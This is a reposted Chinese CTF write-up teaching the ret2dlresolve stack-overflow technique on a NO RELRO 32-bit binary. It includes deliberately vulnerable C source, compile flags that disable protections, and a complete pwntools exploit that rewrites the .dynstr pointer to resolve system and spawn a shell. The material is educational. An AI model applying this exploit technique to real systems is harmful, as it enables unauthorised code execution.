[ctf wiki pwn] stackoverflow:ret2dlresolve系列3(NORELRO机制下的利用方法)
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ctf wiki pwn] stackoverflow:ret2dlresolve系列3(NORELRO机制下的利用方法)相关的知识,希望对你有一定的参考价值。
文章目录
0、.got表补遗
这是我们常说的GOT, 即Global Offset Table, 全局偏移表。这是链接器在执行链接时实际上要填充的部分, 保存了所有外部符号的地址信息。不过值得注意的是, 在i386架构下, 除了每个函数占用一个GOT表项外,GOT表项还保留了3个公共表项, 每项32位(4字节), 保存在前三个位置, 分别是:
got0:本ELF动态段(.dynamic段)的装载地址
got1:本ELF的link_map数据结构描述符地址
got2:_dl_runtime_resolve函数的地址
1、ret2dlresolve的原理
在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。
具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。
由于ret2dlresolve的攻击方式与RELRO的防护机制直接相关,因此,按不同的防护机制,给出不同的利用方法。
这一块儿的预备知识请参考:与RELRO相关的三种防护机制
下面以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧,最容易的是NO RELRO的情况,这种情况由于防护机制过低,在当前和以后的题目中基本不会出现,但通过NO RELRO和partial RELRO两种防护机制利用方法的比较,能加深对ret2dlresolve知识点的理解和运用。
2、源代码
出题人给出了这道题的源码:
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
int main()
char buf[100] = "Welcome to XDCTF2015~!n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
NORELRO的编译命令为:
gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32
3、checksec
checksec可道道RELRO已经关闭。
4、具体思路
第一步:修改 .dynamic 节中字符串表的地址为伪造的地址。
第二步:在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
第三步:在特定的位置读取 /bin/sh 字符串。
第四步:调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而执行 system 函数。
具体过程见下图:
5、exp
from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"
p = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")
p.recvuntil('Welcome to XDCTF2015~!\\n')
offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in .dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x080498E0+0x100,len("/bin/sh\\x00")) # read /bin/sh\\x00
rop.raw(0x08048376) # the second instruction of read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
p.send(rop.chain())
p.send(p32(0x080498E0))
p.send(dynstr)
p.send("/bin/sh\\x00")
p.interactive()
6、新手解惑
问题一:.dynstr pointer为什么是0x08049804+4,怎么计算的?
解答:dynamic section中保存的是一些与动态链接相关结构的地址等信息,相当于一个数组,每个元素占8个字节,前4个字节为类型,后4个字节为地址或值。readelf -S可查看.dynamic section的首地址0x080497c4,在glibc中,dynstr的索引为5,因此其真实地址为0x080497c4+8*5+4。
问题二:这道题主要是利用了norelro的什么缺陷,从而达成了攻击?
解答:.dynamic section可写。
以上是关于[ctf wiki pwn] stackoverflow:ret2dlresolve系列3(NORELRO机制下的利用方法)的主要内容,如果未能解决你的问题,请参考以下文章
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode
[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall